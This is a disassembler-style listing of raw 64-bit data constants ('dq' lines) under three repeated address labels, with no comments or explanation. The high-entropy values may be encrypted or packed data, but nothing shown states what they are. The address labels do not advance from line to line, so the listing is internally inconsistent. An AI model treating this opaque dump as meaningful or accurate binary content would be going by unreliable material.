0x04010A8 dq 11CA331696732EC3h, 3C3D9877662360D3h, 0A5C6CE3F89B4E766h
0x04010A8 dq 3203C7D0F6A32D09h, 3B11B7489BCE6A82h, 0E9FD3AB2FDD580D7h
0x04010A8 dq 5274A345EA381F2Bh, 33C6EB6B7D84774Eh, 0EAE87A2DCECE7044h
0x04010A8 dq 94967B112F4950F6h, 77FF078A9A9E8066h, 44853430B20DFE9Dh
0x04010A8 dq 0F3EE4566D2FD4F81h, 11CDEF017E5B6190h, 0D95095DC0B798E26h
0x04010A8 dq 0D215B675F2AED512h, 6697446B7CABAE2Ch, 88544312BCD3D109h
0x04010A8 dq 0B4DA6EF448E09C40h, 0F32D685CCC9CBD7Dh, 0BE86100676500C12h
0x04010A8 dq 947158536776B98Dh, 4CDF5BDB31C05E50h, 90FCC9C996B5A134h
0x04010A8 dq 543775E63688A53Ah, 80505E09040DD9FDh, 0A481B210FBA919CFh
0x04010A8 dq 0ADBCD355DF19A4E9h, 5D8BCAAC9C4C4028h, 0D07227A1941ECC3Dh
0x04010A8 dq 819E342DDD803C65h, 73DCDC8A9CEEBA3Eh, 2E78A0F772FBC3B5h
0x04010A8 dq 0A891868EBA7CC8C1h, 0ADC19C08D38513DAh, 0B6318993D665AB7Bh
0x04010A8 dq 0C198B7E16735BF2h, 1DE89E36522138F3h, 0C5A64895121641DDh
0x04010A8 dq 990940231550B4D4h, 0A21CF9D1E791AA93h, 0C8F76A0948A3D5FBh
0x04010A8 dq 4579699A4BE3A6DEh, 0FADDAED615472587h, 17CC43C5C6398CF1h
0x04010A8 dq 672E94DADA68D91Ch, 1D7CE653E353BB9Ah, 3C257370E1C8893Ch
0x04010A8 dq 9AA3AD3BC60D216Ah, 0BAE7C224CA257EC4h, 1CD20EAA8F0E8628h
0x04010A8 dq 0DF677D4938284F57h, 0A26C0430965985D7h, 5111DFC6F00F54E2h
0x04010A8 dq 0F8D7AB08A3DABF4Fh, 0EDB30706CC01E6E5h, 4AE3627D2CAA69E7h
0x04010A8 dq 398D33D5FF74F4DFh, 841F9EE31F9A8011h, 0FD12E68BDEF15FFh
0x04010A8 dq 7D0400DB43F774E3h, 0D5F9E45B8698BA8h, 0C228250E9F6020D9h
0x04010A8 dq 0CABF90F4469B7730h, 0F38009368501F0D5h, 0BC257CF255A98388h
0x04010A8 dq 0CB4A214B653F9246h, 0A152D5801E3C1C05h, 0F0CF15EB6527B22Fh
0x04010A8 dq 5FE93923B9CEA743h, 22AA3A946A3B84F0h, 4933C8EE6D4BFEE1h
0x04010A8 dq 0C4F452500F691678h, 90B89B9C5F0ED944h, 0F2645CD16F2BF121h
0x04010A8 dq 247BE5F99371CC8Eh, 3573EFC120ABBC98h, 92FEF6040E4F9D7Dh
0x04010A8 dq 0F93A95861E5C71D3h, 243FF00C0311C329h, 14178347ACD35D9Bh
0x04010A8 dq 0F037846A9AD2D70Bh, 16D3E15F4A50A12Fh, 3CCBC7DA7F697B23h
0x04010A8 dq 761E6BB3F98EA625h, 0C25CE664D1CA3123h, 0EA99D88DD2E2DB12h
0x04010A8 dq 5A74A292217CCA20h, 0AB04AD6201933119h, 0E5F47463B2115E6Fh
0x04010A8 dq 7C77CD407F6DA2ECh, 71E03F1E644323Bh, 0C201B56BBA7F8CE1h
0x04010A8 dq 2A5C6B05F6312BE5h, 0D3B8780BD0CC137Bh, 0EC29298F11A4CD73h
0x04010A8 dq 0AA029DFA6511A3E3h, 3F0604EF395DFBC0h, 0AA05915ACD8A24FFh
0x04010A8 dq 0C7666EE198465C43h, 7B29793CF101F3D5h, 0DE8BA636AE583E13h
0x04010A8 dq 0A472C7909D440249h, 909EA9A2581792Fh, 9004EAAA422E3F18h
0x04010A8 dq 6AD88C0A7CA7593Bh, 0A3E57BE68854B91h, 9BB47F0F5157CB95h
0x04010A8 dq 4586225688BA4981h, 57A75D714D80BE26h, 62B558F5D9DD2918h
0x04010A8 dq 0C2B9FEDCD0F1D5EFh, 0FDEB5ECCA5983EB2h, 0A09D18331A3199F5h
0x04010A8 dq 0CBE584DAC2B16B9Eh, 0D04CAD37C0B7B6ADh, 0F602D98E339C91BDh
0x04010A8 dq 964734B35E53B75Fh, 0D21737E7C78CA51Bh, 0DB543447347F391Bh
0x04010A8 dq 0BB6139E7DC2B5566h, 1887242E72AD74BAh, 3B12EA21F17301C6h
0x04010A8 dq 48374C49DBF13D93h, 2B25B89A5E17551h, 484CF2F20D2B00DEh
0x04010A8 dq 6FBEBA161C0F32B4h, 34382A48A9798BB5h, 667144B22E5534F9h
0x04010A8 dq 0B42B0352724E6155h, 0CC32F048529D3136h, 19567C033F559C71h
0x04010A8 dq 0E91330612AC0376Ah, 0FBB50717F2DCC7B0h, 0E3323FCF536D94A8h
0x04010A8 dq 248AFDDE3EEED510h, 0F50B9E64E44F484Fh, 0A336FDDF1F1C0EE8h
0x04010A8 dq 814A7C2577716144h, 0FC65EC241BB4506Bh, 8C9154FA89FF613Fh
0x04010A8 dq 0D27F0605F2C34172h, 0D100A075F9060265h, 0C97598ABDCF0174Fh
0x04010A8 dq 0CF37F41317636AC3h, 2FF6B581D1A63DB4h, 31B1058B68CA21B9h
0x04010A8 dq 0BC9E94600E4DCD61h, 4CF11122897FEAE1h, 0B66922AF55CF586Ch
0x04010A8 dq 0B458AC9CC31A7148h, 0F16E1E8C55B6EF86h, 55227B97663529D3h
0x04010A8 dq 0B0FDCCBEF9DE5062h, 14D359D5D63B09C4h, 0C4C61C74B3B843F8h
0x04010A8 dq 60D2FA3F7B7AA24Eh, 0B7CCB6837BE85FB2h, 3421CC527217A464h
0x04010A8 dq 0CBC2D55C76316DCFh, 1F51BB5A69586A2h, 0D3E7BECD8E09C953h
0x04010A8 dq 8A484CAFE78A09D7h, 0E2FDA34CB06F18DAh, 60C0B2DA4E54744Ch
0x04010A8 dq 3DDDF0BB21E37370h, 0E97C308C20D536D4h, 0E6619A736C4B9223h
0x04010A8 dq 1667A115DC61BD23h, 326DD7EF0AF97C82h, 0CF0EC2A3B586D826h
0x04010A8 dq 0A80944FA4F05BE5Ch, 59C7396C6E95BC1Ah, 78DD80F1F73C6912h
0x04010A8 dq 3BBE9299223B9521h, 6734288FFCB239A4h, 900B4746284B2D21h
0x04010A8 dq 4FE6BBF0E796338Ch, 0C05C832B547C662Dh, 0FE2545706BC3EEB4h
0x04010A8 dq 1E95248FC2D2C726h, 8608FC5812A2911Ah, 0E813574CC0F2DA86h
0x04010A8 dq 0BB93B5B49F95BEB4h, 0F64CA81F9F99E647h, 3414716386A204D5h
0x04010A8 dq 9CB4993BBF4BE414h, 0C5DB464363EC1640h, 0A4924987C601CC32h
0x04010A8 dq 0B29D3EFE96B2A1A5h, 0EF6DEC31A33F368Bh, 29C3C4866B2EDFABh
0x04010A8 dq 0CB1E58DC30AC26DAh, 49A4CFA345386BACh, 40CF37E6F8E7018Bh
0x04010A8 dq 0C5DB8E076CFE9EC3h, 0EBAFBBDA4F1D203Eh, 8B889D247D2219B9h
0x04010A8 dq 933D5BC3DDB4DC27h, 1B01F8982D8FF556h, 0F894977882C75FCDh
0x04010A8 dq 0C0D1FFD97918DB40h, 0D03750CD87F84077h, 0DD4C5280F783C4C6h
0x04010A8 dq 7B667B90208E0EADh, 0CC6078CA2482A3BDh, 0BC1F636B4E4C9637h
0x04010A8 dq 0AE0DCCF335737378h, 5FBDE3A0533AF3ABh, 1D1E53E2D83FF6DFh
0x04010A8 dq 0DD0207C6B5DE6B4h, 4C04C5D9B8B5B9Fh, 5FBC02FF2CD63A15h
0x04010A8 dq 9EC74497B00D0Ch, 8380973A0153869Bh, 3510E8777A7CB847h
0x04010A8 dq 38DFB17F2588F1BEh, 0E9DC054C574E10A0h, 17B4EEF6D626F25Eh
0x04010A8 dq 0CEDA764FBE5D6CB0h, 1DB7007ADCC5E54Bh, 0AD9B8DC91A6731A5h
0x04010A8 dq 526D009BC905BACFh, 247FF653D581F8B2h
0x04020A8 dq 0BEB0A2B256D16A88h, 5F36AC9280B9DCA5h, 0D17D147D1A13D3D4h
0x04020A8 dq 0F1C864D624781CA6h, 0C110C7AE55FDCBB6h, 1B125B0D095ADC10h
0x04020A8 dq 7E9F85AA916A402h, 0D3AE0D4BF90D6EF9h, 0A08DB83DBE08D6EBh
0x04020A8 dq 0FBBE9657DAA2FE0Ah, 29FA7B7A963C8FACh, 4C237FFBEB206060h
0x04020A8 dq 8FA9D9B388499004h, 0F0AF8E18EFE396C9h, 0CF1C9AFD004A04D4h
0x04020A8 dq 870E1025392AB547h, 339F8B0A748D4962h, 57DA5758786E76F2h
0x04020A8 dq 0BA1D7B09D00A942Bh, 4130C3833DFF8C1Bh, 0D00F1861AB7F0391h
0x04020A8 dq 0CC05056CD24DD39Bh, 0C38CA7CB5CED6C10h, 0F9359840A1C2844h
0x04020A8 dq 25D2964D3A9904E9h, 1967C80A667A7D93h, 0BD7F0A99709B263Ch
0x04020A8 dq 97C9EF6650B9CA25h, 0F616EAF2FED5443Ah, 89085D292ABCE5D8h
0x04020A8 dq 9BEE1035F5CA36E6h, 0C091A78C65527279h, 594111F7E0380B4Ah
0x04020A8 dq 57BEC18D4C7C9B82h, 9886040673973CCDh, 9AF8EE1500924BE4h
0x04020A8 dq 0ADCD1DE6B84D549Fh, 0D694F5D163AAFC95h, 0A5E4C7C63FB87784h
0x04020A8 dq 3539F7EF1FDC4148h, 0EBEBCB4BCB3A8361h, 1560DC4620C8D319h
0x04020A8 dq 5FACF7B621059C5h, 0D3D027FC9CCE64C3h, 0C0D24CB229C3081Fh
0x04020A8 dq 1F3A75E8E0F720D5h, 0F752B97F21DB2516h, 0BA8E72ECFA88EDAAh
0x04020A8 dq 241104438BCBFC5Ch, 0EE9A27E59CD944FBh, 28A554D3B19E347Dh
0x04020A8 dq 2262AAB59647398Ch, 91D1FB1082985B00h, 131C2C89F1C1689Ah
0x04020A8 dq 79FB3961CFE8AAE4h, 6F78C00FCCEE40CBh, 0AE3E9AC9758FF18Ah
0x04020A8 dq 1E11C0CB105DE7AEh, 0EB21F0108B942B2Eh, 0B412A97ABAB9299Fh
0x04020A8 dq 0D61CC88B90CF9D5Fh, 0F5E154A3F8C62634h, 0F1E0C4422EDADD39h
0x04020A8 dq 0CBADACAD2CD526A6h, 18250CE48F6037D9h, 100DD292AB847AA3h
0x04020A8 dq 20A8CB4FF91A8304h, 0E56316788CE9FEFFh, 9D508AF78CAE2C58h
0x04020A8 dq 8920A14970737BAEh, 1CE42B8F2353B7FEh, 26CDC2A96BC69D04h
0x04020A8 dq 6F6410EA2F6F49A7h, 0DF1307440C6AD6BFh, 541D1413D6D0D3DCh
0x04020A8 dq 14CFE5DBD649225Dh, 0CAD34EB1A53486E9h, 0C8FE2DBC671EDB7Eh
0x04020A8 dq 33186F3ACB71547Fh, 723104E2B0C3932Dh, 0CB1E932FCB653A4Eh
0x04020A8 dq 0F826F79F891011B0h, 105432FF1A845C4Dh, 7092F2CC5ED4D294h
0x04020A8 dq 0D5772AD6DCCFE22Eh, 0A181D838795FFDD9h, 0E7FB8F78FFBC2D02h
0x04020A8 dq 0EBA1BA2056448F98h, 0C3A32CFC73526EFEh, 0F25006EF2DB04836h
0x04020A8 dq 39341E51F6BCDBE0h, 3834947ED53AD3B3h, 0BF3DB0C756D93EF2h
0x04020A8 dq 0AA30EAD545204CDh, 0D1F937553158EE9Ch, 19DB712C91D5F9B7h
0x04020A8 dq 87C0D7FF1F0C49D4h, 683A7DBCC4F15324h, 13A879F98E7A9EEBh
0x04020A8 dq 0FD8670339903E63Fh, 0AE1087AA693C73ADh, 8219434D42D5D337h
0x04020A8 dq 74A9F40604BE0373h, 0A49C8FD47A747A46h, 1914626332728E0Eh
0x04020A8 dq 0E8EFF87FD93B5848h, 371BCF0AC63824F8h, 0FC46D03B036816B4h
0x04020A8 dq 0D5D3405D9AFABAD9h, 0FE16ECEFEC6871Ah, 39811A7964409FFCh
0x04020A8 dq 0D5E1032396504961h, 2E3704C28F49AC2h, 0FCAA736DA514379Dh
0x04020A8 dq 2C6FCC26C74C9439h, 0F4AB9B808B5C62DEh, 71A62A2507E0D0Dh
0x04020A8 dq 385F2E661979520h, 36AE22434BDB01D1h, 87C77263EFB5A7CFh
0x04020A8 dq 5D78E32980747BD0h, 87203F0656171F49h, 270156EB34665C6Eh
0x04020A8 dq 0E28CCFDC9B7258E4h, 9CE5A1BA7FCA3FF2h, 5DFD9D6CE8892533h
0x04020A8 dq 4C0316A876565E06h, 0A74DEF4CB5C713DDh, 6E01BAA09A85E1F3h
0x04020A8 dq 1C9ABE46725B501Fh, 633FD9B7119D0D82h, 9AC4FE84A1F6EDB6h
0x04020A8 dq 38304429B0EE393Ch, 0C44C7BCC454B1F6Fh, 1FE0AB8807A3EF22h
0x04020A8 dq 2B1DF4D5D106D90Fh, 28982C436FAC2635h, 0AB92C12462C3D07Fh
0x04020A8 dq 6F2072B58C1343CCh, 13473AD8B2E44C36h, 0EA2EB7D1446D08F9h
0x04020A8 dq 0FB3FACED3B0767D2h, 0A8F507B04E524E9Dh, 518280C23A164408h
0x04020A8 dq 4F00E15DF37C2CF2h, 70DB995ED75989C7h, 0A66C786D1A975270h
0x04020A8 dq 32DE65E5213DD9h, 15FFCF369410889Ch, 0C11101C2B5497A0Fh
0x04020A8 dq 0DF108DDC2AD748DFh, 0F476086D13930362h, 0D66B023C8AB74995h
0x04020A8 dq 3FB5A934256ABB85h, 498222C002818304h, 1907FEB8F3602AEEh
0x04020A8 dq 96A3AE6CD49A77A2h, 0C890649F479B968Ch, 0A3A119FD8466F48Dh
0x04020A8 dq 0F53C487B688B9049h, 5B5E5567D3D1642Ch, 0CB4468D5F9DE8E6Fh
0x04020A8 dq 78E222609E6D40DEh, 0AAC50371E07C7BCCh, 753DFF4DA1633DCCh
0x04020A8 dq 3F83A1AD4A56C41Eh, 206E7D75FFF50EEAh, 40E5417032C5ADBEh
0x04020A8 dq 5D89DF3E60921931h, 36C9CAD8A7F9102Dh, 0E22E0CA5688DB43Ch
0x04020A8 dq 99BF1B1FEB3D1A6Eh, 53278FE2AA10F96Dh, 597779A8F772F7C5h
0x04020A8 dq 0D858875197D5B92Ah, 0A3D74DCF3670BBE7h, 987BA71C437024F9h
0x04020A8 dq 9AEDAD0D9F82C463h, 9B6F40F9898FB2F2h, 0C9FF626E17CF6B92h
0x04020A8 dq 0B7B075977AE44DD5h, 824B2DFB7D61CA46h, 0AC1640B6A4C367C5h
0x04020A8 dq 0C90AFDC43FDCB093h, 1991702E7A7B5165h, 0B327B0A6010A843Bh
0x04020A8 dq 7375FF2BA10A5596h, 0E879189D228227BBh, 5F568AFFDAE5886Ah
0x04020A8 dq 2955DA03295728F4h, 0E63EF0498D1F68A7h, 53942A92BC3CA679h
0x04020A8 dq 4EE47F85F3B6CEFDh, 0FE6A4A8053F69516h, 2F24BF39B30D272Bh
0x04020A8 dq 0F7775DAE614138E4h, 16CFCC3AD5B70D00h, 1FD8C426068CF5C3h
0x04020A8 dq 510D819F67AC2D6Dh, 5701CB22723F6DB7h, 0E106752A428DA2EDh
0x04020A8 dq 0A4405288B9026031h, 8E7F249611B0339Dh, 232B7D9534C1F79Dh
0x04020A8 dq 0B0FFCE59C0D5E250h, 275DA9115B6D581Dh, 4689C79FE78AC281h
0x04020A8 dq 884C73362BC48F16h, 0E88579F3F4D3533Ah, 73CD5DF8FD8787E2h
0x04020A8 dq 46BDC6268E13A29Fh, 0A7E090C17F11F43Fh, 90AB7E1D6B1579A9h
0x04020A8 dq 8F4B09068FB9360Ah, 84F6658435587D6Fh, 9A896486C2D8EE8Ch
0x04020A8 dq 0DA0186B8529699A3h, 18B907392ABA95ACh, 64BEED45C5C28AA4h
0x04020A8 dq 2A9711D0CCDAE8Ch, 0BA54DCDE835CE606h, 1C10F7AC3499A89Ch
0x04020A8 dq 4810F3B2381D8712h, 7FFE08007CC5D9F0h, 368DBFEF50200A6Ah
0x04020A8 dq 0E7612943ED2801E8h, 7F85711E317C99DFh, 0E7CC3B96AB2712ABh
0x04020A8 dq 99E8308588BE4336h, 0B6F5C7C55DF97799h, 8C618EFC41C8EA5Bh
0x04020A8 dq 4FA8D85B666E883Ah, 39F3F1677E9E09A5h, 0B904B3959A66460Bh
0x04020A8 dq 33A91F40B1E23CF1h, 0F8AF7254B0CC41AFh, 0C0F2E4114FCFED53h
0x04020A8 dq 6687269CA21E4339h, 1B20509C75AF857Bh, 0F9D9C56DC3AE6928h
0x04020A8 dq 0C717893575B0CABEh, 10C132959AB201E9h, 6E27228D70B5BFF8h
0x04020A8 dq 0EA9158AB17AC8EB3h, 29CFD11B4D6321E6h, 0A5B7D55EF6ECA6B9h
0x04020A8 dq 0D67D0E4D3806CB63h, 2EDA44181E2F8B8Ch, 0C07EA18373899D14h
0x04020A8 dq 72FFA6E2D4E91010h, 555CBC41D7D9E037h, 150664D2AEFE4684h
0x04020A8 dq 6957E59064181561h, 886968854346F8D8h, 85A11A3E21CD85Ch
0x04020A8 dq 0EDD15E097468704h, 0E9581EE06DC368F4h, 0C1F1F54F92425058h
0x04020A8 dq 0B3D993215CB6EC45h, 0EA4E136CC212DECh, 48E4153B77B64933h
0x04020A8 dq 27A56F41148E20Eh, 1864FEBC722AD4EEh, 0EAD1E4472780625Ah
0x04020A8 dq 0A5A6AA006F8E5E22h, 987DB414D3CBA8ACh, 0F816B2BC2E45551Ah
0x04020A8 dq 0E0124EB1F5FD9784h, 21D20AF2BBAF23E6h, 73FBC6E8C7DF28C0h
0x04020A8 dq 0F7D0CD3BF3047964h, 490E0A39230AD3CAh, 0BE65F32F50ECA03Ah
0x04020A8 dq 9EAF9D7E6ABBD129h, 0F9BA384FCA648231h, 1D989E871C8B92EDh
0x04020A8 dq 888C10ADD090C51Bh, 0D9F2118CC4988D84h, 0AE29824AB19C0A5Dh
0x04020A8 dq 466B302482077D4Ch, 4A374FE32ECE20B8h, 0BD9F897410902F81h
0x04020A8 dq 97E5D9E32A2FE9C0h, 43BBBBD10CC1E901h, 9853E0A533AA0A9h
0x04020A8 dq 6E4BA6FDCDCB3D52h, 0B50FE334010B8E30h, 2FB75A3132C46427h
0x04020A8 dq 80D16A5ADC3CB1B9h, 0E32D9715B8A30528h, 0FDE328F47FF4FB60h
0x04020A8 dq 985B3DEC1DF7E81Fh, 3D3F5C34B3AD0405h, 2CBE8A675D7A05C4h
0x04020A8 dq 4A1BECA62F856D33h, 5A60E760697F4637h, 0E18238939EDD8DC2h
0x04020A8 dq 0E6680DADF138D0C2h, 0A71F5386CA09E021h, 233BE55D71B1787Dh
0x04020A8 dq 95087B78ECEE8740h, 0CC3739FB9B2CA8BCh, 0EC919229B1FEEB90h
0x04020A8 dq 0E1D13AA7E9577576h, 734C29AA898002D0h, 0FE117E2BAB175011h
0x04020A8 dq 962C2EB9710A6928h, 704A5D8EC195B0CEh, 62FD969E0364BB8h
0x04020A8 dq 0F7AA9C018AF022CAh, 8CCB537817B98686h, 0BB3F85AC071274D9h
0x04020A8 dq 3530D7D30AA27B3Bh, 0EA3D75392F5AE913h, 0A121A59A604B02C1h
0x04020A8 dq 3685546C782E1C45h, 0BA2C7B7CAC784F3Eh, 0F7761ED59855B721h
0x04020A8 dq 6457CBC879A0E766h, 757C818C664AB70Dh, 72319227808BA1B0h
0x04020A8 dq 2C0A2E0CD5836002h, 0EE357F73F708A65Eh, 0EBDFE0F0286FBFFBh
0x04020A8 dq 278BFB0DFEFB12FBh, 5DA49AC4E33E82DCh, 95B968A6B9F6CB1Dh
0x04020A8 dq 0E476323EA86CE165h, 134D9406560281Dh, 30CF9493372A3C82h
0x04020A8 dq 320F7C613B377857h, 380CBAB78E402800h, 0F17DDF24F49F1391h
0x04020A8 dq 0C677DC628C740434h, 581588E2B4F77011h, 63DDE7705816F002h
0x04020A8 dq 1B5EBD1010B1FD9Ch, 0AC346DAF8E669B79h, 0CC66271AE4966116h
0x04020A8 dq 52F90EB589D7C828h, 0E9A6601CDFA307DCh, 5156EA827602FB74h
0x04020A8 dq 9CAB101750C12427h, 729680FF70534B82h, 4FFDFF8342064D0Ch
0x04020A8 dq 5FC1F4CEE41A10B0h, 0F682F48EFFFB6853h, 0F0666CD8FF96325h
0x04020A8 dq 0FE3CAC0B18E22636h, 33B5D87963704416h, 0A3DF892D375B275Ch
0x04020A8 dq 0A4C127BEB5D750FEh, 0CBAD522BC4B10CD4h, 0BCD1C37683B3C9DFh
0x04020A8 dq 779B255A2108F385h, 49851E809B003340h, 0E6EE97475EA66070h
0x04020A8 dq 325BD7C463E9B907h, 0A4C07EBF14FDF5D7h, 32764680FDF2F737h
0x04020A8 dq 5FD84C3B3370976Eh, 0A154505B8A6036FEh, 5FB0A6F9118D70F9h
0x04020A8 dq 64D2158270C6C475h, 696C7BABCAAF5888h, 0C3F310950DEBAD1Dh
0x04020A8 dq 777544851D0CF99Eh, 2BAC07BA134E46B6h, 70DA8582DBE42C61h
0x04020A8 dq 0CFAC92FAC1704BD5h, 8CFB29014121D4EAh, 7E99BFA7939F26A3h
0x04020A8 dq 0D7B6B05CAEB84065h, 0A84A3B4EE0C92BF1h, 7AEB14C2720D5CC3h
0x04020A8 dq 0CA83BC8D9B88AD30h, 1188670462C124F2h, 0CD4A6B6DE266C3Ah
0x04020A8 dq 21822C80D7AC6092h, 0A538F4E84A686158h, 66E69B9DE3FFE5C2h
0x04020A8 dq 64CC361CE4155720h, 7D67A88D82B3102Dh, 4D384350C6AA5DD5h
0x04020A8 dq 659ADF35440A8EBFh, 4EA45D7BB450F58Ch, 8A43F6B499C62605h
0x04020A8 dq 0C2B7E3CF08A5CA0h, 6B66467401B86D06h, 20AFF86D57285F26h
0x04020A8 dq 68E61AD3D062AF92h, 96D19BF81D7000F4h, 36D0712118529919h
0x04020A8 dq 6FD898900AAA7ADAh, 6D7BFA238D24C030h, 0D4DA3CE536C65B1Ah
0x04020A8 dq 0BB60118544AFDD7Dh, 0DC9F36E7D1AB2288h, 1A7E3D972C045DB6h
0x04020A8 dq 2F30721F81F27E34h, 48A11F06C0A93485h, 25E448EC8E3FE05h
0x04020A8 dq 481A3CFC58714343h, 975BE618E5BE1241h, 9F26DE81C085430Ch
0x04020A8 dq 4A12B3C2280DE405h, 692AFC3268251FACh, 0F1B68A96F14C3095h
0x04020A8 dq 12E87BF9917D331Fh, 66A1D84FD0F6E7BEh, 0C146DD52E69B8970h
0x04020A8 dq 0B857BE29C39B7312h, 0E8B761C96EA11C5Eh, 9C3E9D54A9008C77h
0x04020A8 dq 0BC7DC563700F23A5h, 0D2837B9140219B86h, 59E12422BA4D26Ch
0x04020A8 dq 74327918DE09B532h, 390A1C5FB0B47AA3h, 32B2B0A79D0495F2h
0x04020A8 dq 97853DAF07A46F3h, 5C93C3D991439261h, 0EC6B0A6CC6757BC5h
0x04020A8 dq 1A1AAB64B89E4006h, 22F08CAD5B32E6E0h, 0BFD715C7FE358DA2h
0x04020A8 dq 8E9F483077A0294Dh, 2CA4AB5E9C99D335h, 7FF037B8E9C586A3h
0x04020A8 dq 1F77CF8932DE9C9Bh, 0F3ADEF764D009768h, 884D2241F43CE5E4h
0x04020A8 dq 5F99249F4BFD8A35h, 5ACC45E37C8E2267h, 8FF3EAD58DC2C6FAh
0x04020A8 dq 29389592B23860D9h, 0FFFD37072D6AE8A9h, 0F120C7D0AA36956Dh
0x04020A8 dq 6824040C69E7E2BFh, 588052D147833254h, 0AEA38077486C74AFh
0x04020A8 dq 0D54A428DA0229234h, 0B8650F8041148817h, 0C674A8E98991340Fh
0x04020A8 dq 74CEC2FBEC57BC0Bh, 97B82B9D02548FF1h, 0A26F7E7B201F5ECh
0x04020A8 dq 0C4615B6D5106CD06h, 99DB8CFD6ABDDD50h, 37B0FBA5BCCD1561h
0x04020A8 dq 0FEDE5846FDAB24F4h, 4CB7D5E0CB431F95h, 3A2CDE26882B764h
0x04020A8 dq 0B32EDDFA481A9D59h, 0B5C3009713DEE2DBh, 0CD93665D59239457h
0x04020A8 dq 0E6567F6938EDB3DDh, 0BD62361063881FCh, 990F91901EB334D2h
0x04020A8 dq 0C86C2E62A0BE9656h, 7CA9B02FFDFC0F26h, 0D85BEFB0CF8AD9BBh
0x04020A8 dq 0A4C78ADDD2D8301Ch, 0ADC2121FFE18EBA7h, 3278B3E11B85E261h
0x04020A8 dq 7F8D1036147365C4h, 3B9EA0950404010Dh, 1ECED88A5D7B598Ah
0x04020A8 dq 0D1D6707E74469927h, 9C47EE2F12780FFh, 0C93E6977C1C88E29h
0x04020A8 dq 1E65C0696BE84189h, 0E62E4DCE343026CAh, 5450CED1B4EF2A90h
0x04020A8 dq 6F671BE19C9F3BA1h, 781C291508E0C204h, 12494E626210794Ah
0x04020A8 dq 26F2CEBC9AFBE5E3h, 9C986644645A945Bh, 274D5FDFF55D6769h
0x04020A8 dq 5702752182DC4519h, 7649A83957C6212Ah, 420052F3BF58E557h
0x04020A8 dq 0D446FE03CB844847h, 0A79488A8156EA9CAh, 0E8E27F925243CA61h
0x04020A8 dq 3216CFB6B13ABE56h, 0E895CF8C6D2BE3A0h, 0BD27484A19B7A085h
0x04020A8 dq 8034A3EF58E4F4E2h, 0C289FC2E0180826Dh, 3505119AF663EF81h
0x04020A8 dq 938EF47B336EE0BFh, 68BA313DF8C01543h, 0CC1F5AD964F6E337h
0x04020A8 dq 9C78DCF3B5E311DCh, 6D7E4A39595F03D5h, 1F0C684E0341F73Dh
0x04020A8 dq 9DF41CDEB2B10697h, 0C9B8E78E0386C36Dh, 1A476F0A27D22F47h
0x04020A8 dq 0E4C97DFC3131D759h, 6B9A94A55151EB3Dh, 3025DAFEE9476BE3h
0x04020A8 dq 0A70B05E99F614BA4h, 27CBE30C20D87A99h, 27E082B56E113E24h
0x04020A8 dq 0AE36B736424B4CF1h, 0A3489FF2B24F686Ah, 0DF18A4042F154EC3h
0x04020A8 dq 93EFA4B89ED274D9h, 0B20C07A46985E948h
0x04030A8 dq 0FCD6F97733EBDEBDh, 0AAA3E6855C284FDEh, 959C428B1A55868Fh
0x04030A8 dq 0BB68D03BA759182Ah, 0E0868E6C337E202Eh, 924B399A70A03ED8h
0x04030A8 dq 0CA3169E9F7D98B1Bh, 264BEAB2F0020209h, 0FC1EA9320785B496h
0x04030A8 dq 98B575F0BD845B64h, 8A1D2D4C7F82FF63h, 8486BD364BBB1BB5h
0x04030A8 dq 7E44EAA754B8988Ch, 5B9D07C673C7A090h, 56B4B094CD2847CCh
0x04030A8 dq 7BDD68BB928636EBh, 0BA995303051DA0B6h, 0B3D4DB42D86BEAFh
0x04030A8 dq 0F30DF86794D41BB0h, 4A5011719B022C36h, 0C37420B91EDECA0Fh
0x04030A8 dq 48741C94614C349Fh, 0F69E204D25C31240h, 0AFADFC2B280DC34Ah
0x04030A8 dq 0D727A92D2E7B6EB4h, 5F09A7080445CDE4h, 7347D8B1097207E5h
0x04030A8 dq 0E5CA655B9F82DB22h, 8448F8413869B32Ch, 83B1A8FE130B5BDAh
0x04030A8 dq 0C41385A4DC2BE600h, 65DB0B406687AC62h, 7ADA3A8BBCC23E72h
0x04030A8 dq 0ABA1F50A909C2F7Dh, 72CBA73963060C1Fh, 0A873EB027E4B672Eh
0x04030A8 dq 6C2AC2B5871DD8D6h, 0F14C01461EE4F68Ch, 23BBC9C1726C0CE9h
0x04030A8 dq 41911D3BB7523500h, 0E4B580DF27DAB0BEh, 0A44A8B628D1BB9E9h
0x04030A8 dq 38003E43E1CFF86Ah, 0E657BC3DDF32D83Ch, 0BE949E577B20DF31h
0x04030A8 dq 4E4A1B50BD76CCBCh, 0C7501E5DD132311Eh, 85F6EC6D2B8DACDFh
0x04030A8 dq 0C03E692F65C5197h, 47A410F87241362Bh, 3A3EE98BE99C8EC7h
0x04030A8 dq 0E128DF81D2AD4D7Dh, 8E4303F719CC6A73h, 7B35FC738BF3F630h
0x04030A8 dq 0A8D2DDD32B49AB86h, 7AA8B493E0D91022h, 2505A557C052531Ah
0x04030A8 dq 0C6E4C12E9BED4CD5h, 0BD346687E8DADE3h, 4470528EA873DB02h
0x04030A8 dq 376AE044E6EB6B33h, 0A1E5E8BC502F84FDh, 0DDB23313EFD75602h
0x04030A8 dq 25D77180E4453CA1h, 0D4CDB2422D3FE3B3h, 0C36CB73EE045954Ch
0x04030A8 dq 23973F82F6A87C44h, 35FF3F3B808E87BFh, 2BD589D0E39A5F6h
0x04030A8 dq 6CC4D6FF387CAC3Bh, 0DA5224400D81CE62h, 7DF52BCDA959E283h
0x04030A8 dq 11ADE774C6FD8B0Ch, 0F99878A3058D1EF3h, 3D8A3CD0DFB31AD8h
0x04030A8 dq 66F267D31EBA81B8h, 4380A8CB452962F2h, 0BC294C042E553278h
0x04030A8 dq 9709401C15ACAB56h, 0FD0BB7212C6F4678h, 0D0E0D44781ECD6CAh
0x04030A8 dq 3C6A5729ACEC66F6h, 86EBC2C64F4E78A2h, 0A16F6413B21C686Ch
0x04030A8 dq 0AF9DA13E7274A4B4h, 9C118DF8579A473Ch, 8B3F235B320E1E90h
0x04030A8 dq 0C839236948F1EF92h, 5CEAFBD3DD63FE94h, 7862EADAC278DE76h
0x04030A8 dq 0A246395227485583h, 0D13300C8341A8A52h, 34FA6BC27776C649h
0x04030A8 dq 58AD1812C07C64FDh, 0B126DC05C3BCBCD5h, 0AB92FC5437D71C3Fh
0x04030A8 dq 257E46A57E191FFDh, 382CD49E5D7C7F5Eh, 8C762353555A066Ah
0x04030A8 dq 8F607E38740B1075h, 301B7057E8CB71Ah, 47C4A87204FB809Eh
0x04030A8 dq 0F3693435B6C429E0h, 3991A05C8D89C4E0h, 69DA9AC170CEFE5Ch
0x04030A8 dq 53F558DAFF9D1A88h, 571F2A5450AB94B2h, 0A71A0B02A0893627h
